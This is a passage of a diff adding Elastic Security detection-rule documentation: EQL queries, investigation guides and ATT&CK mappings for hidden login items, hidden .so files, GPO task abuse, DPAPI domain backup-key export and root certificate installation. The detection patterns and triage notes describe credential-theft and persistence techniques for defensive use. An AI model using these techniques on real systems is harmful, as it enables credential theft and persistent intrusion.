the future. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a macOS System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, for MacOS it is recommended to select "Traditional Endpoints". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/current/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "macos" and event.type in ("start", "process_started") and process.name == "osascript" and + process.command_line : "osascript*login item*hidden:true*" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Boot or Logon Autostart Execution +** ID: T1547 +** Reference URL: https://attack.mitre.org/techniques/T1547/ +* Sub-technique: +** Name: Login Items +** ID: T1547.015 +** Reference URL: https://attack.mitre.org/techniques/T1547/015/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: AppleScript +** ID: T1059.002 +** Reference URL: https://attack.mitre.org/techniques/T1059/002/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Plist File Modification +** ID: T1647 +** Reference URL: https://attack.mitre.org/techniques/T1647/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-creation-of-hidden-shared-object-file.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-creation-of-hidden-shared-object-file.asciidoc new file mode 100644 index 0000000000..698bb29410 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-creation-of-hidden-shared-object-file.asciidoc @@ -0,0 +1,181 @@ +[[prebuilt-rule-8-19-34-creation-of-hidden-shared-object-file]] +=== Creation of Hidden Shared Object File + +Identifies the creation of a hidden shared object (.so) file. Users can mark specific files as hidden simply by putting a "." as the first character in the file or folder name. Adversaries can use this to their advantage to hide files and folders on the system for persistence and defense evasion. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* endgame-* +* logs-endpoint.events.file* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 33 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 216 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Creation of Hidden Shared Object File* + + +Shared object files (.so) are dynamic libraries used in Linux environments to provide reusable code. Adversaries may exploit the ability to hide files by prefixing them with a dot, concealing malicious .so files for persistence and evasion. The detection rule identifies the creation of such hidden files, excluding benign processes like Docker, to flag potential threats. + + +*Possible investigation steps* + + +- Review the alert details to identify the specific hidden shared object file (.so) that was created, noting its full path and filename. +- Investigate the process that created the file by examining the process name and its parent process, excluding "dockerd" as per the query, to determine if the process is legitimate or potentially malicious. +- Check the file creation timestamp and correlate it with other system activities or logs to identify any suspicious behavior or patterns around the time of creation. +- Analyze the contents of the hidden .so file, if accessible, to determine its purpose and whether it contains any malicious code or indicators of compromise. +- Investigate the user account associated with the file creation event to assess if the account has been compromised or is involved in unauthorized activities. +- Search for any other hidden files or suspicious activities on the system that may indicate a broader compromise or persistence mechanism. + + +*False positive analysis* + + +- Development and testing environments may frequently create hidden .so files as part of routine operations. Users can mitigate this by excluding specific directories or processes known to be part of development workflows. +- Backup or system maintenance scripts might generate hidden .so files temporarily. Identify and exclude these scripts or their associated processes to prevent false alerts. +- Some legitimate software installations or updates may create hidden .so files as part of their setup process. Users should monitor installation logs and whitelist these processes if they are verified as non-threatening. +- Custom applications or services that use hidden .so files for legitimate purposes should be documented, and their creation processes should be excluded from detection to avoid unnecessary alerts. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further spread or communication with potential command and control servers. +- Terminate any suspicious processes associated with the creation of the hidden .so file, except for known benign processes like Docker. +- Remove the hidden .so file from the system to eliminate the immediate threat. Ensure that the file is securely deleted to prevent recovery. +- Conduct a thorough scan of the system using updated antivirus or endpoint detection and response (EDR) tools to identify and remove any additional malicious files or artifacts. +- Review system logs and process execution history to identify any unauthorized access or changes made around the time of the file creation. This can help in understanding the scope of the compromise. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. +- Implement enhanced monitoring and alerting for similar activities, such as the creation of hidden files, to improve detection and response times for future incidents. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from one of the following integrations: +- Elastic Defend +- Auditbeat + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +*Auditbeat Setup* + +Auditbeat is a lightweight shipper that you can install on your servers to audit the activities of users and processes on your systems. For example, you can use Auditbeat to collect and centralize audit events from the Linux Audit Framework. You can also use Auditbeat to detect changes to critical files, like binaries and configuration files, and identify potential security policy violations. + + +*The following steps should be executed in order to add the Auditbeat on a Linux System:* + +- Elastic provides repositories available for APT and YUM-based distributions. Note that we provide binary packages, but no source packages. +- To install the APT and YUM repositories follow the setup instructions in this https://www.elastic.co/guide/en/beats/auditbeat/current/setup-repositories.html[helper guide]. +- To run Auditbeat on Docker follow the setup instructions in the https://www.elastic.co/guide/en/beats/auditbeat/current/running-on-docker.html[helper guide]. +- To run Auditbeat on Kubernetes follow the setup instructions in the https://www.elastic.co/guide/en/beats/auditbeat/current/running-on-kubernetes.html[helper guide]. +- For complete “Setup and Run Auditbeat” information refer to the https://www.elastic.co/guide/en/beats/auditbeat/current/setting-up-and-running.html[helper guide]. + + +*Custom Ingest Pipeline* + +For versions <8.2, you need to add a custom ingest pipeline to populate `event.ingested` with @timestamp for non-elastic-agent indexes, like auditbeats/filebeat/winlogbeat etc. For more details to add a custom ingest pipeline refer to the https://www.elastic.co/guide/en/fleet/current/data-streams-pipeline-tutorial.html[guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "linux" and event.type == "creation" and +(file.extension == "so" or file.name like "*.so.*") and file.name : ".*.so" and +not process.name in ("dockerd", "azcopy", "podman", "opencode") and not file.name like "._*" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Hide Artifacts +** ID: T1564 +** Reference URL: https://attack.mitre.org/techniques/T1564/ +* Sub-technique: +** Name: Hidden Files and Directories +** ID: T1564.001 +** Reference URL: https://attack.mitre.org/techniques/T1564/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-creation-or-modification-of-a-new-gpo-scheduled-task-or-service.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-creation-or-modification-of-a-new-gpo-scheduled-task-or-service.asciidoc new file mode 100644 index 0000000000..5fa9df366e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-creation-or-modification-of-a-new-gpo-scheduled-task-or-service.asciidoc @@ -0,0 +1,175 @@ +[[prebuilt-rule-8-19-34-creation-or-modification-of-a-new-gpo-scheduled-task-or-service]] +=== Creation or Modification of a new GPO Scheduled Task or Service + +Detects the creation or modification of a new Group Policy based scheduled task or service. These methods are used for legitimate system administration, but can also be abused by an attacker with domain admin permissions to execute a malicious payload remotely on all or a subset of the domain joined machines. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.file-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Tactic: Persistence +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 317 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Creation or Modification of a new GPO Scheduled Task or Service* + + +Group Policy Objects (GPOs) are crucial for centralized management in Windows environments, allowing administrators to configure settings across domain-joined machines. Adversaries with domain admin rights can exploit GPOs to create or modify scheduled tasks or services, deploying malicious payloads network-wide. The detection rule identifies such activities by monitoring specific file changes in GPO paths, excluding legitimate system processes, thus highlighting potential abuse for privilege escalation or persistence. + + +*Possible investigation steps* + + +- Review the file path and name to confirm if the changes were made to "ScheduledTasks.xml" or "Services.xml" within the specified GPO paths, as these are indicative of potential unauthorized modifications. +- Check the process that initiated the file change, ensuring it is not "C:\\Windows\\System32\\dfsrs.exe", which is excluded as a legitimate system process. +- Investigate the user account associated with the file modification event to determine if it has domain admin rights and assess if the activity aligns with their typical behavior or role. +- Examine recent changes in the GPO settings to identify any new or altered scheduled tasks or services that could be used for malicious purposes. +- Correlate the event with other security logs or alerts from data sources like Elastic Endgame, Sysmon, or Microsoft Defender XDR to identify any related suspicious activities or patterns. +- Assess the impact by identifying which domain-joined machines are affected by the GPO changes and determine if any unauthorized tasks or services have been executed. + + +*False positive analysis* + + +- Legitimate administrative changes to GPOs can trigger alerts. Regularly review and document scheduled administrative tasks to differentiate between expected and unexpected changes. +- Automated system management tools may modify GPO scheduled tasks or services as part of routine operations. Identify these tools and create exceptions for their processes to reduce noise. +- Updates or patches from Microsoft or other trusted vendors might alter GPO settings. Monitor update schedules and correlate changes with known update activities to verify legitimacy. +- Internal IT scripts or processes that manage GPOs for configuration consistency can cause false positives. Ensure these scripts are well-documented and consider excluding their specific actions from monitoring. +- Temporary changes made by IT staff for troubleshooting or testing purposes can be mistaken for malicious activity. Implement a change management process to log and approve such activities, allowing for easy exclusion from alerts. + + +*Response and remediation* + + +- Immediately isolate affected systems from the network to prevent further spread of any malicious payloads deployed via the modified GPO scheduled tasks or services. +- Revoke domain admin privileges from any accounts that are suspected of being compromised to prevent further unauthorized modifications to GPOs. +- Conduct a thorough review of the modified ScheduledTasks.xml and Services.xml files to identify any unauthorized or malicious entries, and revert them to their previous legitimate state. +- Utilize endpoint detection and response (EDR) tools to scan for and remove any malicious payloads that may have been executed on domain-joined machines as a result of the GPO modifications. +- Notify the security operations center (SOC) and escalate the incident to the incident response team for further investigation and to determine the scope of the compromise. +- Implement additional monitoring on GPO paths and domain admin activities to detect any further unauthorized changes or suspicious behavior. +- Review and strengthen access controls and auditing policies for GPO management to prevent unauthorized modifications in the future. + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-11-setup[Sysmon Event ID 11 - File Create] + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "windows" and event.type != "deletion" and event.action != "open" and + file.name : ("ScheduledTasks.xml", "Services.xml") and + file.path : ( + "?:\\Windows\\SYSVOL\\domain\\Policies\\*\\MACHINE\\Preferences\\ScheduledTasks\\ScheduledTasks.xml", + "?:\\Windows\\SYSVOL\\domain\\Policies\\*\\MACHINE\\Preferences\\Services\\Services.xml" + ) and + not process.executable : "C:\\Windows\\System32\\dfsrs.exe" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Domain or Tenant Policy Modification +** ID: T1484 +** Reference URL: https://attack.mitre.org/techniques/T1484/ +* Sub-technique: +** Name: Group Policy Modification +** ID: T1484.001 +** Reference URL: https://attack.mitre.org/techniques/T1484/001/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Scheduled Task/Job +** ID: T1053 +** Reference URL: https://attack.mitre.org/techniques/T1053/ +* Sub-technique: +** Name: Scheduled Task +** ID: T1053.005 +** Reference URL: https://attack.mitre.org/techniques/T1053/005/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Sub-technique: +** Name: Windows Service +** ID: T1543.003 +** Reference URL: https://attack.mitre.org/techniques/T1543/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-creation-or-modification-of-domain-backup-dpapi-private-key.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-creation-or-modification-of-domain-backup-dpapi-private-key.asciidoc new file mode 100644 index 0000000000..3660148737 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-creation-or-modification-of-domain-backup-dpapi-private-key.asciidoc @@ -0,0 +1,181 @@ +[[prebuilt-rule-8-19-34-creation-or-modification-of-domain-backup-dpapi-private-key]] +=== Creation or Modification of Domain Backup DPAPI private key + +Identifies the creation or modification of Domain Backup private keys. Adversaries may extract the Data Protection API (DPAPI) domain backup key from a Domain Controller (DC) to be able to decrypt any domain user master key file. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.file-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-sentinel_one_cloud_funnel.* +* logs-m365_defender.event-* +* logs-crowdstrike.fdr* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.dsinternals.com/en/retrieving-dpapi-backup-keys-from-active-directory/ +* https://posts.specterops.io/operational-guidance-for-offensive-user-dpapi-abuse-1fb7fac8b107 + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Credential Access +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Microsoft Defender XDR +* Data Source: Crowdstrike +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 419 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Creation or Modification of Domain Backup DPAPI private key* + + + +*Possible investigation steps* + + +- Does the alert show a new or changed domain DPAPI backup key artifact? + - Focus: `event.type`, `event.action`, `file.name`, `file.path`, and `file.size`; distinguish `ntds_capi_*.pfx` or `ntds_capi_*.pvk` in temp, user, share, removable, archive, or controlled recovery paths. + - Implication: escalate on create or modify activity in staging paths or analyst home directories because the artifact can unlock domain DPAPI-protected secrets; lower suspicion only when the path is a controlled DC recovery or IR location tied to the same case. + +- Is the acting process a recognized recovery tool or an export utility being abused? + - Why: live DC retrieval and offline AD database extraction both create domain-scale DPAPI exposure once backup keys leave controlled recovery. + - Focus: process-start events scoped by `host.id` and `process.entity_id`, checking `process.executable`, `process.command_line`, `process.pe.original_file_name`, `process.parent.command_line`, and `process.code_signature.subject_name`. !{investigate{"description":"","label":"Process events for the alerting process","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"}],[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.pid","queryType":"phrase","value":"{{process.pid}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: escalate when a shell, script host, renamed binary, or command line expresses backup-key export outside controlled recovery; lower concern only when tool identity, parent, and output path fit one controlled recovery workflow. + +- Did the same process export companion key material or package the result? + - Focus: file events scoped to `process.entity_id`, or `host.id` plus `process.pid` in a tight time window, checking `file.name`, `file.path`, `file.Ext.original.path`, and `file.Ext.original.name`. !{investigate{"description":"","label":"File activity for the alerting process","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"file","valueType":"string"}],[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.pid","queryType":"phrase","value":"{{process.pid}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"file","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: escalate when the process creates multiple backup-key outputs, writes companion legacy-key material, renames the files, archives them, or stages other credential-sensitive artifacts. + - Hint: if `ntds_capi_*` disappears quickly, trace rename events through `file.Ext.original.path` and `file.Ext.original.name`; if those fields are absent, fall back to current `file.path` plus the same `process.entity_id` or host/PID time window. + +- Do the user and host telemetry fit a tightly scoped recovery operator path? + - Focus: `user.id`, `user.name`, `user.domain`, `host.id`, and `host.name`; separate domain recovery, backup, or IR identities from standard users and ad hoc workstations. + - Implication: escalate when the user or host identity is mismatched, generic, or unexplained for domain backup-key handling; treat a plausible operator and host pairing as candidate benign only after the file, process, and artifact evidence also fit the same workflow. + +- Did follow-on activity stage the export for off-host use? + - Focus: process, child-process, file, and network events for the recovered process scope, especially `process.command_line`, `process.parent.command_line`, UNC, removable-media, archive, or share values in `file.path`, and off-host connections. !{investigate{"description":"","label":"Child processes of the export process","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.parent.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} !{investigate{"description":"","label":"Network activity for the export process and children","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"network","valueType":"string"}],[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.parent.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"network","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: escalate when copy, archive, compression, removable-media, or share-write activity follows the export, especially from a non-DC host; absence of staging evidence narrows scope but does not close the alert by itself. + +- If local evidence remains suspicious or unresolved and related-alert telemetry is available, does the same user or host show credential-access, staging, or tier-0 alerts? + - Focus: optional related-alert views for `user.id`, especially DPAPI abuse, LSASS or credential dumping, DCSync, archive or share staging, lateral movement to DCs, or tier-0 persistence. !{investigate{"description":"","label":"Alerts associated with this user","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Hint: Pivot by `host.id` when user scope is sparse or host role changes urgency; absence of related-alert telemetry is unresolved, not benign. !{investigate{"description":"","label":"Alerts associated with this host","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: broaden to domain-compromise scoping when related alerts show credential access, DC access, or staging around the same time; absence of related alerts can narrow scope but must not close the alert without local file, process, artifact, and context alignment. + +- Escalate on unrecognized export path, export-tool intent, companion artifacts, mismatched user or host, staging, or corroborating tier-0 alerts; close only when telemetry and recovery, backup, or IR verification bind one controlled workflow; preserve and escalate if evidence is mixed or visibility is incomplete. + + +*False positive analysis* + + +- AD disaster-recovery, backup validation, or IR collection can legitimately export DPAPI domain backup material. Confirm telemetry first: `process.executable`, `process.command_line`, `file.path`, `user.id`, and `host.id` must all align with the same exact workflow. +- Use a recovery ticket, backup job, or IR case only to verify an already aligned telemetry pattern; do not close on records alone. If records are unavailable, recurring telemetry is a candidate benign pattern, not closure, until it verifies one controlled recovery path without contradictory staging. +- Before creating an exception, validate that the same `process.executable`, `process.command_line`, `file.path`, `user.id`, and `host.id` recur across prior alerts from this rule. Build the exception from that confirmed workflow, and avoid exceptions on `file.name` alone, `.pvk` or `.pfx` extensions alone, or the host alone. + + +*Response and remediation* + + +- If confirmed benign, reverse any temporary containment and record the process path, command-line pattern, export location, operator identity, and host role that justified closure. Create an exception only if that same workflow recurs consistently across prior alerts from this rule. +- If suspicious but unconfirmed, preserve the exported `file.path`, rename evidence from `file.Ext.original.path` or `file.Ext.original.name`, the file-event timeline, recovered `process.entity_id` or `process.pid`, `process.command_line`, responsible `user.id`, `host.id`, and any UNC, removable-media, archive, or share paths before destructive changes. Apply reversible containment first, such as temporarily restricting share access or outbound connectivity for the affected `host.id`; escalate to host isolation or account containment only if companion staging, corroborating alerts, or other findings show broader compromise and the asset role can tolerate it. +- If confirmed malicious, preserve the same artifacts and use endpoint response to isolate the host or terminate the responsible process. If direct response is unavailable, escalate with the preserved artifact set to the team that can act. For domain controllers, weigh service impact before isolation but do not leave the export accessible. +- If unauthorized domain backup-key export is confirmed on a domain controller, activate the organization's Active Directory compromise response plan, preserve evidence needed to scope DPAPI-protected credential exposure, and begin privileged-account hygiene according to that plan. +- Before deleting or rotating anything, review related `host.id` and `user.id` activity for the same exported filenames, companion legacy-key artifacts, archive names, and UNC or share paths. Then eradicate the unauthorized export files, staging archives, copy utilities, scripts, and persistence mechanisms uncovered during the investigation, and remediate the privilege path or access vector that allowed the export. +- After containment, hunt for the same exported filenames, archive names, and UNC or share paths across other hosts. + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-11-setup[Sysmon Event ID 11 - File Create] + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "windows" and event.type != "deletion" and file.name : ("ntds_capi_*.pfx", "ntds_capi_*.pvk") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: OS Credential Dumping +** ID: T1003 +** Reference URL: https://attack.mitre.org/techniques/T1003/ +* Sub-technique: +** Name: NTDS +** ID: T1003.003 +** Reference URL: https://attack.mitre.org/techniques/T1003/003/ +* Technique: +** Name: Unsecured Credentials +** ID: T1552 +** Reference URL: https://attack.mitre.org/techniques/T1552/ +* Sub-technique: +** Name: Private Keys +** ID: T1552.004 +** Reference URL: https://attack.mitre.org/techniques/T1552/004/ +* Technique: +** Name: Credentials from Password Stores +** ID: T1555 +** Reference URL: https://attack.mitre.org/techniques/T1555/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-creation-or-modification-of-root-certificate.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-creation-or-modification-of-root-certificate.asciidoc new file mode 100644 index 0000000000..b9ce85d2d3 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-creation-or-modification-of-root-certificate.asciidoc @@ -0,0 +1,225 @@ +[[prebuilt-rule-8-19-34-creation-or-modification-of-root-certificate]] +=== Creation or Modification of Root Certificate + +Identifies the creation or modification of a local trusted root certificate in Windows. The install of a malicious root certificate would allow an attacker the ability to masquerade malicious files as valid signed components from any entity (for example, Microsoft). It could also allow an attacker to decrypt SSL traffic. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.registry-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec +* https://www.ired.team/offensive-security/persistence/t1130-install-root-certificate + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 318 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Creation or Modification of Root Certificate* + + +Root certificates are the primary level of certifications that tell a browser that the communication is trusted and legitimate. This verification is based upon the identification of a certification authority. Windows adds several trusted root certificates so browsers can use them to communicate with websites. + +https://www.thewindowsclub.com/what-are-root-certificates-windows[Check out this post] for more details on root certificates and the involved cryptography. + +This rule identifies the creation or modification of a root certificate by monitoring registry modifications. The installation of a malicious root certificate would allow an attacker the ability to masquerade malicious files as valid signed components from any entity (for example, Microsoft). It could also allow an attacker to 